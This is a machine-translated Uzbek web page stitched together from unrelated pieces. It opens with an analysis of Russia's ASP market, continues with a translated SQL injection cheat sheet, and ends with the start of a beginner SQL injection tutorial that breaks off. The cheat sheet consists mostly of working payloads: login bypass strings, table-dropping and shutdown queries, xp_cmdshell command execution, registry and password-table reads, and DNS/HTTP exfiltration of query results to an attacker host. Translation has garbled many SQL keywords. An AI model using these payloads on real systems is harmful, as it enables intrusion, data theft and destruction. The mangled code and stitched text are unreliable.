Login boshqaruvini dasturlash. Qanday qilib SQL in'ektsiyasi yordamida buyruqlarni masofadan turib bajarishingiz mumkin

Hozirgi vaqtda Rossiyada to'liq ASP bozori shakllangan deb aytish mumkin emas. Rossiyalik foydalanuvchilar, aksariyat hollarda, hali ham ASP kontseptsiyasini o'z bizneslari uchun foydali deb bilishmaydi. Hozirda (ushbu maqolani yozish paytida) Rossiya bozori Yirik korxonada ASP modelini to'liq miqyosda joriy etishning bitta muvaffaqiyatli misoli yo'q. Aslida, faqat xosting, ASP modelining individual amalga oshirilgan elementlari, ASP biznesi bilan shug'ullanmoqchi bo'lgan kompaniyalar va boshqalar mavjud. Ya'ni Rossiyada klassik ASP modeli hali amalga oshirilmagan.

Endi Rossiya bozorida ASP modeli faqat shaxsiylashtirilgan elektron pochta xizmatlariga (Mail.ru, Beep.ru, Freemail.ru va boshqalar) va ixtisoslashgan yuqori texnologiyali xizmatlarga (masalan, banner va qidiruv tizimlari, Internet statistika tizimlari) tegishli. , va boshqalar.) . Shu bilan birga, pochta xizmatlarini ijaraga olish shunchaki har bir foydalanuvchiga shaxsiy pochta qutisini taqdim etishni anglatmaydi. Bepul elektron pochta serverlari korporativ sektorda kichik biznes va xususiy tadbirkorlar tomonidan keng qo'llaniladi. Bunday xizmatlarning asosiy mijozlari korporativ elektron pochta xizmatini tashkil etishni xohlaydigan kompaniyalar (yoki korporativ hujjat aylanishini avtomatlashtirish) yoki bepul Web-pochta xizmatini tashkil qilishni xohlaydigan Internet-provayderlar (masalan, Rambler.ru, Yandex.ru portallari va boshqalar). ularning tomoshabinlari uchun.

Rossiyalik foydalanuvchilar orasida elektron do'konlarni (elektron savdo maydonchasidagi vitrinalar) ijaraga olishda ma'lum qiziqish mavjud. Va bu juda tushunarli. Rossiyada onlayn savdoning muvaffaqiyatli misollari hali juda kam bo'lganligi sababli (bir qator kompaniyalarning ta'sirchan yutuqlari to'g'risida baland ovozda bayonot berishiga qaramay), elektron do'konni ijaraga olish uchun kamroq pul sarflash eng oqilona ko'rinadi. uni sotib olish va saqlash). Agar loyiha muvaffaqiyatsiz bo'lsa, u juda tez va sezilarli yo'qotishlarsiz yopilishi mumkin. G'arbda keng tarqalgan ERP ilovalarini ijaraga olish hozir Rossiyada faqat pilot loyihalar bosqichida.

Ijaraga beriladigan ilovalar ham nisbatan oddiy ofis to'plamlarini (masalan, MS Office) va murakkabroq ilovalarni (masalan, Lotus Smart Suite), shuningdek, ERP tizimlarini (masalan, Navision Axapta) o'z ichiga oladi.

Rossiya ASP bozorining asosiy muammolari va xususiyatlari.

10.2 Rossiya bozoridagi muammolar.

Hozirgi vaqtda Rossiyaning ASP bozori global ASP bozoridan kamida bir necha yil orqada qolmoqda. Rossiya ASP bozorining embrion holati unda mavjud bo'lgan bir qator muammolar tufayli yuzaga keladi. Ushbu muammolarning asosiylari:

1. Rossiya iqtisodiyotining G'arbiy iqtisodiyotdan umumiy orqada qolishi va korxonalarning texnik infratuzilmasining rivojlanmaganligi. Hozirgacha ko'pchilik Rossiya korxonalari o'n yillar oldin yaratilgan texnik infratuzilmada ishlaydi. Ayni paytda korxonalarning uni modernizatsiya qilishga yo'naltirilgan mablag'lari hali ham yetarli emas. Va bu erda muammo korxonalarning moliyaviy ustuvorliklarida, chunki ularning hammasi ham texnik infratuzilmani modernizatsiya qilish uchun zarur mablag'larni yo'naltira olmaydi. Shuning uchun ular mavjud infratuzilmadan foydalangan holda o'zlarining dolzarb muammolarini hal qilishlari kerak.

2.ASP xizmatlariga past talab. Aholi va korporativ mijozlar (asosan) ASP xizmatlarini to'lashga tayyor emaslar. O'rtacha rossiyalik iste'molchi hozirda shunchaki dolzarb va muhim xarajatlar ustuvorligiga ega bo'lsa-da, korporativ foydalanuvchilar hali ASP xizmatlarini jiddiy qabul qilishmaydi.

3.Elektron bozor uchun qonunchilik bazasining zaifligi. To'liq qonunlar to'plami qabul qilinmaguncha, elektron bozorni rivojlantirish (jumladan, ASP) haqida gapirishning hojati yo'q.

4. Korporativ mijozlar (ayniqsa, eng to'lovga qodir korxonalar) moliyaviy hisobotlarining yopiqligi.

5. Yirik kompaniyalarning IT bo'limlarining (ham aniq, ham yashirin) qarshiligi, ular boshqa vazifalarga qayta e'tibor qaratishlari, xodimlarni va IT byudjetlarini qisqartirishlari va hokazo.

6. Rossiya korxonalari uchun ASP modelida foydalanish mumkin bo'lgan kam sonli ilovalar.

7. Rossiya mehnat bozorida nisbatan past maoshga ega bo'lgan boshlang'ich va o'rta darajadagi IT-mutaxassislarining etarlicha katta sonining mavjudligi. 1998 yilgi inqirozdan keyin IT-mutaxassislarining ish haqining katta qismi inqirozdan keyingi o'sha darajada saqlanib qoldi. Ba'zan kichik va o'rta kompaniyalar uchun ASP xizmatlarini to'lashdan ko'ra o'z IT xizmatlarini saqlab qolish arzonroq bo'ladi (G'arb kompaniyalaridan farqli o'laroq, bu erda vaziyat butunlay teskari).

Xulosa tavsifi uchun yaratilgan SQL injection cheat varaq texnik xususiyatlar har xil turlari SQL injection zaifliklar. Maqolada SQL in'ektsiyalarining xususiyatlari keltirilgan MySQL, Microsoft SQL Server, ORACLE Va PostgreSQL.

0. Kirish
Ushbu maqolada siz batafsil ma'lumotni topishingiz mumkin texnik ma'lumotlar SQL in'ektsiyalarining har xil turlari haqida. Bu tajribali mutaxassislar uchun ham, axborot xavfsizligi sohasiga yangi kelganlar uchun ham foydali bo'lishi mumkin.

Ayni paytda eslatma faqat MySQL, Microsoft uchun ma'lumotlarni o'z ichiga oladi SQL Server va ORACLE va PostgreSQL uchun ba'zi ma'lumotlar. Bo'limlarda in'ektsiya sintaksisi, tushuntirishlar va misollar mavjud.

Ishlatilgan belgilar:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (ehtimol boshqa ma'lumotlar bazalarida);
* (maxsus shartlar talab qilinadi).

1. Satr izohlari
Sharhlar odatda so'rovning bir qismini e'tiborsiz qoldirish uchun foydalidir.
Sintaksis:
-- (SM): DROP namuna jadvali;--
# (M): DROP namuna jadvali;#
Misol:
Foydalanuvchi nomi: admin" --
Yaratilgan so'rov: foydalanuvchi nomi = "admin"--" VA parol = "parol" QAYERDAGI a'zolardan * TANLASH
Bu parolni tekshirishni chetlab o'tib, administrator sifatida tizimga kirish imkonini beradi.

2. Fikrlarni bloklash
Ularning yordami bilan siz so'rovning bir qismini e'tiborsiz qoldirishingiz, bo'shliqlarni almashtirishingiz, qora ro'yxatlarni chetlab o'tishingiz va ma'lumotlar bazasi versiyasini aniqlashingiz mumkin.
Sintaksis:
/*Izoh*/ (SM):
DROP/*sharh*/namuna olish mumkin
DR/**/OP/*qora ro'yxatni chetlab o'tish*/namuna olish mumkin
SELECT/*space_replace*/parol/**/FROM/**/A'zolar

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM jadval nomi
Bu MySQL uchun maxsus sharh sintaksisi. Bu sizga MySQL versiyasini aniqlash imkonini beradi. Bu sharh faqat MySQL da ishlaydi
Misollar:
ID: 10; DROP TABLE a'zolari /*
Biz so'rovning qolgan qismini e'tiborsiz qoldiramiz, xuddi satr sharhi kabi.

ID: /*!32302 10*/
Agar MySQL versiyasi 3.23.02 dan yuqori bo'lsa, ID=10 bilan bir xil javob olasiz.

ID: /*!32302 1/0, */
Yaratilgan so‘rov: SELECT /*!32302 1/0, */ 1 FROM jadval nomi
Agar serverda MySQL versiyasi 3.23.02 dan yuqori bo'lsa, 0 ga bo'linish xatosi yuzaga keladi.

3. So'rovlar ketma-ketligi
Bir vaqtning o'zida bir nechta so'rovlarni bajarishga imkon beradi. Bu in'ektsiyaning har qanday nuqtasida foydalidir.


Yashil - qo'llab-quvvatlanadi; qora - qo'llab-quvvatlanmaydi; kulrang - noma'lum.
Sintaksis:
; (S): SELECT * FROM aʼzolar; DROP a'zolari--
Bitta so'rov tugadi, keyingisi boshlandi.
Misol:
ID: 10; DROP a'zolari --
Yaratilgan so'rov: SELECT * FROM mahsulotlar WHERE id = 10; DROP a'zolari--
Bu soʻrov oddiy soʻrovdan keyin aʼzolar jadvalini oʻchirib tashlaydi.

4. Shartli gaplar
Agar shart bajarilsa, so'rovga javob olamiz. Bu ko'r inyeksiyaning asosiy nuqtalaridan biridir. Bundan tashqari, oddiy narsalarni to'g'ri tekshirishga yordam beradi.
Sintaksis:
AGAR (shart, haqiqiy qism, noto'g'ri qism) (M): SELECT IF(1=1, "to'g'ri", "noto'g'ri")
IF sharti rost-qism ELSE yolgʻon-qism (S): AGAR (1=1) “toʻgʻri” ni tanlang ELSE “notoʻgʻri” ni tanlang
IF sharti THEN true-qism; ELSE noto'g'ri qism; ENDIF; OXIRI; (O): AGAR (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); ENDIF; OXIRI;
SELECT CASE WHEN sharti THEN true-part ELSE false-part END; (P): QAChON (1=1) SOʻNG “A” BOSHQA “B” TUGARIShI TANGLASH;
misol:
agar ((foydalanuvchini tanlang) = "sa" YOKI (foydalanuvchini tanlang) = "dbo") 1 ni tanlang, aks holda 1/0 (S) ni tanlang
agar nolga bo'linish xatosini chiqaradi joriy foydalanuvchi"sa" yoki "dbo" emas.

5. Raqamlardan foydalanish
magic_quotes() va shunga o'xshash filtrlarni, jumladan WAFni chetlab o'tish uchun ishlatiladi.
Sintaksis:
0xHEX_NUMBER (SM):
CHAR (0x66) (S) TANLASH
SELECT 0x5045 (bu raqam emas, balki satr) (M)
SELECT 0x50 + 0x45 (endi bu raqam) (M)
Misollar:
LOAD_FILE (0x633A5C626F6F742E696E69) (M) TANLASH
c:\boot.ini faylining mazmunini ko'rsatadi

6. Satrlarni birlashtirish
String operatsiyalari filtrlarni chetlab o'tishga yoki ma'lumotlar bazasini aniqlashga yordam beradi.
Sintaksis:
+ (S): a'zolardan login + "-" + parolni tanlang
|| (*MO): SELECT login || "-" || a'zolardan parol
MySQL ANSI rejimida ishlayotgan bo'lsa ishlaydi. Aks holda MySQL uni qabul qilmaydi mantiqiy operator va 0 ni qaytaradi. MySQL da CONCAT() funksiyasidan foydalangan ma’qul.

CONCAT(str1, str2, str3, …) (M): a'zolardan CONCAT(login, parol) ni tanlang

7. Qo‘shtirnoqsiz qatorlar
CHAR() (MS) va CONCAT() (M) kabi soʻrovda qoʻshtirnoqlardan foydalanishni oldini olishning bir necha yoʻli mavjud.
Sintaksis:
SELECT 0x457578 (M)

MySQL-da satrni olti burchakli kod sifatida ko'rsatishning oddiy usuli mavjud:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

“KLM” qatorini qaytaradi:
CONCAT (CHAR(75), CHAR(76), CHAR(77)) (M) ni tanlang
CHAR(75)+CHAR(76)+CHAR(77) (S) ni tanlang
TANLASH CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Satrlar va sonlarni konvertatsiya qilish.
Sintaksis:
ASCII() (SMP): SELECT ASCII("a")
Eng chap belgining ASCII kodini qaytaradi. Funktsiya ko'r in'ektsiya uchun ishlatiladi.

CHAR() (SM): CHAR NI SELECT (64)
ASCII kodini mos keladigan belgiga tarjima qiladi.

9. UNION operatori
UNION operatori yordamida siz jadvallar kesishishini so'rashingiz mumkin. Asosan, siz boshqa jadvaldan qiymat qaytaradigan so'rovni yuborishingiz mumkin.
Misol:
SELECT sarlavhasi, txt FROM news UNION ALL SELECT name, pass FROM a'zolar
Bu yangiliklar va a'zolar jadvallari natijalarini birlashtiradi

10. Autentifikatsiyani aylanib o‘tish (SMO+)
Misollar:
admin" --
admin" #
admin"/*
"yoki 1=1--
" yoki 1=1#
" yoki 1=1/*
") yoki "1"="1--
") yoki ("1"="1--

11. MD5 autentifikatsiyasini chetlab o'tish
Agar dastur avval foydalanuvchi nomini solishtirsa va keyin parolning md5 xeshini solishtirsa, autentifikatsiyani chetlab o'tish uchun sizga qo'shimcha fokuslar kerak bo'ladi. Natijalarni ma'lum parol va uning xesh bilan birlashtirishingiz mumkin.
Misol (MSP):
Foydalanuvchi nomi: admin
Parol: 1234 " VA 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Xatoga asoslangan
12.1 HAVING BY(S) yordamida ustunlarni aniqlash
Misol:
Xuddi shu tartibda
" 1=1 ga ega --
" table.columnfromerror1 BO'YICHA GURUHLASH 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" table.columnfromerror1, columnfromerror2, columnfromerror3 BO'YICHA GURUHLASH 1=1 -
…………….
Xatolarni olishni to'xtatmaguningizcha davom eting.

12.2 ORDER BY (MSO+) yordamida ustunlar sonini aniqlash
ORDER BY yordamida ustunlar sonini topishni UNION injection yordamida tezlashtirish mumkin.
Buyurtma 1--
Buyurtma berish 2--
Buyurtma berish 3-
………………..
Xato xabarini olmaguningizcha davom eting. Bu ustunlar sonini ko'rsatadi.

13. Ma'lumotlar turini aniqlash
Har doim ALL bilan UNION dan foydalaning.
Jadvaldagi keraksiz yozuvdan xalos bo'lish uchun so'rov boshida mavjud bo'lmagan qiymatlar uchun -1 dan foydalaning (agar in'ektsiya WHERE parametrida bo'lsa). Agar siz bir vaqtning o'zida faqat bitta qiymatni olishingiz mumkin bo'lsa, bu muhim ahamiyatga ega.
UNION in'ektsiyalarida qator, sana, raqam va hokazolarni taxmin qilish o'rniga NULL dan foydalaning. Ammo ko'r-ko'rona in'ektsiya qilishda ehtiyot bo'ling, chunki ... ma'lumotlar bazasi xatosini ilovaning o'zi bilan chalkashtirib yuborishingiz mumkin. ASP.NET kabi ba'zi tillar NULL qiymatidan foydalanganda xatolikka yo'l qo'yadi (chunki ishlab chiquvchilar foydalanuvchi nomi maydonida null qiymatni ko'rishni kutmaganlar)
Misollar:
" union foydalanuvchilar yig'indisini (ustunni toping) tanlang-- (S):
Agar siz xato xabarini olmagan bo'lsangiz, u holda ustun raqamli bo'ladi.

1-jadvalDAN SELECT * QAYERDA id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --
Siz CAST() yoki CONVERT() dan foydalanishingiz mumkin

11223344) UNION SELECT NULL,NULL,NULL,NULL bu yerda 1=2 –-
Agar xato bo'lmasa, unda sintaksis to'g'ri, ya'ni. MS SQL Server ishlatiladi.

11223344) UNION SELECT 1,NULL,NULL,NULL bu yerda 1=2 –-
Agar xato bo'lmasa, birinchi ustun raqam bo'ladi.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Agar xato paydo bo'lsa, ikkinchi ustun raqam emas.

11223344) UNION SELECT 1,’2’,NULL,NULL QERDA 1=2 –-
Agar xato bo'lmasa, ikkinchi ustun qatordir.
……………..

14. Oddiy kiritish (MSO+)
Misol:
"; foydalanuvchilarga qiymatlarni kiriting (1, "hax0r", "coolpass", 9)/*

15. Ma'lumotlar to'plami
Sintaksis:
@@versiya (MS)
Ma'lumotlar bazasi versiyasi va batafsil ma'lumotni topishingiz mumkin.
Misol:
INSERT INTO a'zolar(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Murakkab insert (S)
Jadvalga fayl mazmunini kiritish imkonini beradi. Agar siz veb-ilovaning ichki yo'lini bilmasangiz, IIS metabazasini o'qishingiz mumkin (faqat IIS 6).
Sintaksis:
fayl (%systemroot%\system32\inetsrv\MetaBase.xml)
Keyin unda dastur yo'llarini topishingiz mumkin.
Misol:
1. Foo jadvalini yarating (string turi varchar(8000))
2. “c:\inetpub\wwwroot\login.asp” faylining mazmunini table foo-ga kiriting.
3. Vaqtinchalik jadvalni tashlang va boshqa fayl uchun takrorlang.

17. BCP (S)
Yozadi matn fayli. Bu hisobga olish ma'lumotlarini talab qiladi.
Misol:
bcp "Tanlash * FROM test..foo" so'rovi c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. SQL Server (S) da VBS, WSH
SQL Serverda VBS, WSH skriptlaridan foydalanishingiz mumkin.
Misol:
Foydalanuvchi nomi:"; e'lon @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "yugurish", NULL, "notepad.exe" –

19. Tizim buyruqlarini bajarish (S)
Mashhur hiyla, funksiya SQL Server 2005 da sukut bo'yicha o'chirilgan. Sizga administrator huquqlari kerak.
Misol:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. SQL Server (S) da maxsus jadvallar
Misollar:
Xato xabarlari: master..sysmessages
Bog'langan serverlar: master..sysservers
Parol SQL Server 2000: masters..sysxlogins
Parol SQL Server 2005: sys.sql_logins

21. SQL Server (S) uchun bir nechta saqlangan protseduralar
Sintaksis:
Cmd Execute (xp_cmdshell)
Ro'yxatga olish kitobi (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemmultistring
xp_regwrite
Xizmatlarni boshqarish (xp_servicecontrol)
Medialar (xp_availablemedia)
ODBC manbalari (xp_enumdsn)
Kirish rejimi (xp_loginconfig)
Cab fayllarini yaratish (xp_makecab)
Domen ro'yxati (xp_ntsec_enumdomains)
Jarayonni o'ldirish (PID talab qilinadi) (xp_terminate_process)
Yangi protsedura qo'shing (sp_addextendedproc)
Matn faylini UNC yoki ichki yo'lga yozing (sp_makewebtask)
Misollar:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. MSSQL Bulk Notes
Misollar:
TANLOV * master..sysprocesses FROM /*WHERE spid=@@SPID*/
E'lon qiling @result int; EXEC @natija = xp_cmdshell "dir *.exe"; AGAR (@natija = 0) 0 BOSHQA TANILA 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. LIMIT (M) so'rovlarda SQL in'ektsiyasi
Misol:
SELECT id, mahsulot FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
LIMIT operatorini chetlab o'tish uchun siz UNION yoki sharhdan foydalanishingiz mumkin.

24. SQL Serverni o'chirish (S)
Misol:
";o'chirish; yopish -

25. SQL Server 2005 da xp_cmdshellni yoqish
Sintaksis:
Odatiy bo'lib, xp_cmdshell va boshqa potentsial xavfli xususiyatlar SQL Server 2005 da o'chirib qo'yilgan. Agar sizda ma'muriy huquqlar bo'lsa, ularni yoqishingiz mumkin.
EXEC sp_configure "kengaytirilgan variantlarni ko'rsatish",1
QAYTA SOZLASH
EXEC sp_configure "xp_cmdshell",1
QAYTA SOZLASH

26. SQL Server (S) da ma’lumotlar bazasi strukturasini qidirish
Misollar:
Sysobjects FROM nomini TANLASH QAYERDA xtype = "U"

TANLOV nomini tizim ustunlaridan TANLASH QAYER identifikatori =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Ustun nomlarini olish

27. Harakatlanuvchi yozuvlar (S)
Misollar:
... WHERE foydalanuvchilar YO'Q ("Birinchi foydalanuvchi", "Ikkinchi foydalanuvchi")
NOT IN yoki NOT EXIST bilan WHERE dan foydalaning

MAVJUD BO'LMAGAN A'ZOLARDAN TOP 1 ismni TANlang (a'zolardan TOP 0 ta ismni tanlang)

SELECT * FROM Product WHERE ID=2 VA 1=CAST((Sysobjects i WHERE i.id dan qutulish uchun SELECT (COUNT (i.id)) dan p.nameni tanlang.<=o.id)
AS x, sistemaviy obyektlardan nomi o) p sifatida bu yerda p.x=3) int sifatida

i WHERE xtype="U" va i.id dan p.name tanlang (TANLASH (COUNT(i.id)) AS SIOSobjects OF FROM RICH TANGLASH<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. SQL Server (S) da Xatoga asoslangan SQL in'ektsiyasidan ma'lumotlarni olishning tezkor usuli
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscollumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") VA name>@rd SELECT @rd AS rd ichiga TMP_SYS_TMP oxiri;--

29. MySQL da ma'lumotlar bazasi strukturasini qidirish (M)
Misollar:
table_nomini information_schema.tables FROM TANGLASH QERDA table_schema = "jadval nomi"
Maxsus jadvallarni olish

jadval_nomini, ustun_nomini TANGLASH FROM information_schema.columns WHERE table_schema = "jadval nomi"
Ustun nomlarini olish

30. Oracle (O) da ma'lumotlar bazasi strukturasini qidirish
Misollar:
* Barcha_jadvallardan TANLASH QAYERDA Egasi = "MA'lumotlar bazasi_NAME"
Maxsus jadvallarni olish

TABLE_NAME = "JADVAL" QAYERDAN * all_col_comments FROM TANGLASH
Ustun nomlarini olish

31. Ko'r-ko'rona in'ektsiya
Sifatli dasturda siz xato xabarlarini ko'ra olmaysiz. Siz UNION operatoridan va Xatoga asoslangan hujumlardan foydalana olmaysiz. Ma'lumotlarni olish uchun siz ko'r-ko'rona SQL in'ektsiyasidan foydalanishingiz kerak bo'ladi. Ko'r-ko'rona in'ektsiyaning ikki turi mavjud.
Muntazam ko'r-ko'rona in'ektsiya: sahifadagi so'rovlar natijalarini ko'ra olmaysiz, ammo natijani javob yoki HTTP holatidan aniqlashingiz mumkin.
To'liq ko'r in'ektsiya: Siz chiqishda hech qanday farqni ko'rmaysiz.
Oddiy ko'r in'ektsiyalarda siz IF va WHERE iboralaridan foydalanishingiz mumkin, to'liq ko'r in'ektsiyalarda ba'zi kutish funktsiyalaridan foydalanishingiz va javob vaqtini taqqoslashingiz kerak. Buning uchun siz SQL Serverda WAIT FOR DELAY '0:0:10', MySQLda BENCHMARK() va uyqu(10), PostgreSQLda pg_sleep(10) dan foydalanishingiz mumkin.
Misol:
Ushbu misol SQL Serverda ko'r-ko'rona inyeksiyaning real hayotiy operatsiyasiga asoslangan.

TRUE: ID = 1 VA ISNULL (ASCII(SUBSTRING ((sysObjects dan TOP 1 nomini TANGLA), WHERE xtYpe=0x55 VA nomi IN YO'Q (TOP 0 nomini sysObjects WHERE xt555DAN TANGLA)) TO'G'RI: ,1)),0)>78--

FALSE: ID = 1 VA ISNULL (ASCII(SUBSTRING ((sysObjects dan TOP 1 nomini tanlang WHERE xtYpe=0x55 VA nomi IN YO'Q) ID, Foydalanuvchi nomi, E-pochtani TANlang). ,1)),0)>103--

FALSE: ID = 1 VA ISNULL (ASCII(SUBSTRING ((sysObjects dan TOP 1 nomini tanlang WHERE xtYpe=0x55 VA nomi IN YO'Q) ID, Foydalanuvchi nomi, E-pochtani TANlang). ,1)),0)>89--

FALSE: ID = 1 VA ISNULL (ASCII(SUBSTRING ((sysObjects dan TOP 1 nomini tanlang WHERE xtYpe=0x55 VA nomi IN YO'Q) ID, Foydalanuvchi nomi, E-pochtani TANlang). ,1)),0)>83--

TRUE: ID = 1 VA ISNULL (ASCII(SUBSTRING ((sysObjects dan TOP 1 nomini TANGLA), WHERE xtYpe=0x55 VA nomi IN YO'Q (TOP 0 nomini sysObjects WHERE xt555DAN TANGLA)) TO'G'RI: ,1)),0)>79--

FALSE: ID = 1 VA ISNULL (ASCII(SUBSTRING ((sysObjects dan TOP 1 nomini tanlang WHERE xtYpe=0x55 VA nomi IN YO'Q) ID, Foydalanuvchi nomi, E-pochtani TANlang). ,1)),0)>80--

Oxirgi ikkita so'rovga asoslanib, biz ascii-dagi birinchi belgining qiymatini aniq bilamiz - bu 80. Bu birinchi belgi `P' ekanligini anglatadi. Shu tarzda biz jadvallarning nomlarini va ularning mazmunini bilib olamiz. Yana bir usul - ma'lumotlarni bitma-bit o'qish.

32. To'liq ko'r-ko'rona in'ektsiya
Ushbu usuldan faqat ko'r-ko'rona inyeksiya qilingan taqdirda foydalaning. Kutish vaqtlari bilan ehtiyot bo'ling.
Sintaksis:
KECIKTIRISHNI KUTING "vaqt" (S)
Funktsiya protsessorni yuklamasdan ko'rsatilgan vaqtni kutadi.
Misollar:
agar (foydalanuvchini tanlang) = "sa" kechikish uchun kutish "0:0:10"
ProductID =1;kechikishni kutish "0:0:10"--
ProductID =1); "0:0:10" kechikishini kuting--
ProductID =1";kechikishni kuting "0:0:10"--
ProductID =1"); "0:0:10" kechikishini kuting--
ProductID =1);"0:0:10" kechikishini kuting --
ProductID =1")); "0:0:10" kechikishini kuting --
Sintaksis:
BENCHMARK(qancha marta buni bajaring) (M)
Misol:
AGAR MAVJUD BO'LSA (foydalanuvchi nomi = "root" QAYERDA FOYDALANUVCHILARDAN * TANGLANING) BENCHMARK(1000000000,MD5(1))
Biz ildiz foydalanuvchining mavjudligini tekshiramiz.

AGAR (Kirishdan * TANLASA) BENCHMARK(1000000,MD5(1))
MySQL-da jadval mavjudligini tekshirish
Sintaksis:
pg_sleep(sekund) (P)
Taqdim etilgan soniyalar davomida uxlang.

uyqu (soniya) (M)
berilgan soniyalar davomida uxlang.

bms_pipe.receive_message (O)
berilgan soniyalar davomida uxlang.
Misol:
(QAChON (NVL(ASCII(SUBSTR(((INJECTION)),1,1)),0) = 100) SHUNDA dbms_pipe.receive_message(("xyz"),10) BOSHQA ISHLAB CHIQISH DBMS_pipe.receive_message(("xyz") ), 1) DUALDAN TUGASH)
(INJEKSIYA) - sizning so'rovingiz.
Agar shart to'g'ri bo'lsa, javob 10 soniya bo'ladi. Aks holda javob 1 soniya bo'ladi.

33. Foydali MySQL xususiyatlari
Sintaksis:
MD5()
SHA1()
PAROL()
KODLASH()
KOMPRESS ()
ROW_COUNT()
SCHEMA()
VERSION()

34. Ikkinchi tartibli SQL inyeksiyalari
Odatda, siz SQL in'ektsiya so'rovini maydonga kiritasiz va uni filtrlanmasligini kutasiz.
Misol:
Nomi: " + (Foydalanuvchilardan TOP 1 parolni tanlang) + "
Email: [elektron pochta himoyalangan]
Agar ilova saqlangan protsedura yoki funksiyaning maydon nomidan foydalansa, uni in'ektsiya uchun ishlatishingiz mumkin.

35. NTLM xeshlarini chiqarish uchun SQL Serverdan foydalanish
Ushbu hujum, agar tashqaridan kirish imkoni bo'lmasa, SQL Server orqali maqsadli serverning Windows foydalanuvchi parolini olishga yordam beradi. Biz SQL Serverni UNC yo'li orqali Windowsga ulanishga majburlashimiz va Cain & Abel kabi maxsus vositalar yordamida NTLM seansini chiqarishimiz mumkin.

Sintaksis:
UNC yo'li: "\\YOURIPADDRESS\C$\x.txt"
36. Inyeksiyaning boshqa misollari
SQL Server:
?vulnerableParam=1; OPENROWSET-DAN * TANGLASH("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "1-sonni tanlang")

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = "\\"+((INJECTION))+".yourhost.com\\test.txt"; EXEC master..xp_dirtree @q
(INJECTION).yourhost.com uchun DNS so'rovini yaratadi

(INJEKSIYA) - sizning so'rovingiz.
MySQL:
?vulnerableParam=-99 YOKI (YUKLAMA_FILENI SELECT(concat("\\\\",((INJECTION)), "yourhost.com\\")))
yourhost.com saytiga NBNS/DNS so‘rovini yaratadi
?vulnerableParam=-99 YOKI (((INJECTION)) OUTFILE INTO "\\\\yourhost.com\\share\\output.txt")
Faylingizga ma'lumotlarni yozadi
(INJEKSIYA) - sizning so'rovingiz.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") FROM DUAL)
Sniffer natijalarni saqlaydi
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") FROM DUAL)
Natijalar HTTP jurnallarida saqlanadi
?vulnerableParam=(UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") FROM DUAL-dan tanlang)

?vulnerableParam=(DUAL dan SYS.DBMS_LDAP.INIT(((INJECTION))||’.yourhost.com’,80) ni tanlang)
yourhost.com saytiga DNS so‘rovi trafigini tahlil qilishingiz kerak
(INJEKSIYA) - sizning so'rovingiz.

Ushbu material SQL Injection Cheat Sheet maqolasining moslashtirilgan tarjimasidir.

Salom, o'quvchi. Oxirgi paytlarda men veb-xavfsizlikka qiziqib qoldim va ishim ma'lum darajada shu bilan bog'liq. Chunki Men tobora ko'proq turli forumlarda hamma narsa qanday ishlashini ko'rsatishni so'ragan mavzularni ko'ra boshladim, shuning uchun men maqola yozishga qaror qildim. Maqola bunga duch kelmagan, lekin o'rganishni istaganlar uchun mo'ljallangan bo'ladi. Internetda ushbu mavzu bo'yicha nisbatan ko'p maqolalar mavjud, ammo yangi boshlanuvchilar uchun ular biroz murakkab. Men hamma narsani aniq tilda va batafsil misollar bilan tasvirlashga harakat qilaman.

Muqaddima

Ushbu maqolani tushunish uchun sizga SQL tilini bilish shart emas, lekin hech bo'lmaganda yaxshi sabr va yodlash uchun ozgina miya kerak.

Men faqat maqolani o'qishning o'zi etarli emasligiga ishonaman, chunki... bizga jonli misollar kerak - bilasizki, yodlash jarayonida mashq qilish hech qachon ortiqcha bo'lmaydi. Shuning uchun biz zaif skriptlarni yozamiz va ularni o'rgatamiz.

SQL in'ektsiyasi nima?
Oddiy qilib aytganda, bu ma'lumotlar bazasiga hujum bo'lib, u sizga skript yaratuvchisi tomonidan rejalashtirilmagan ba'zi harakatlarni bajarishga imkon beradi. Hayotdan misol:

Ota onasiga Vasyaga 100 rubl berishini va stolga qo'yishini yozgan. Buni kulgili SQL tiliga aylantirib, biz quyidagilarni olamiz:
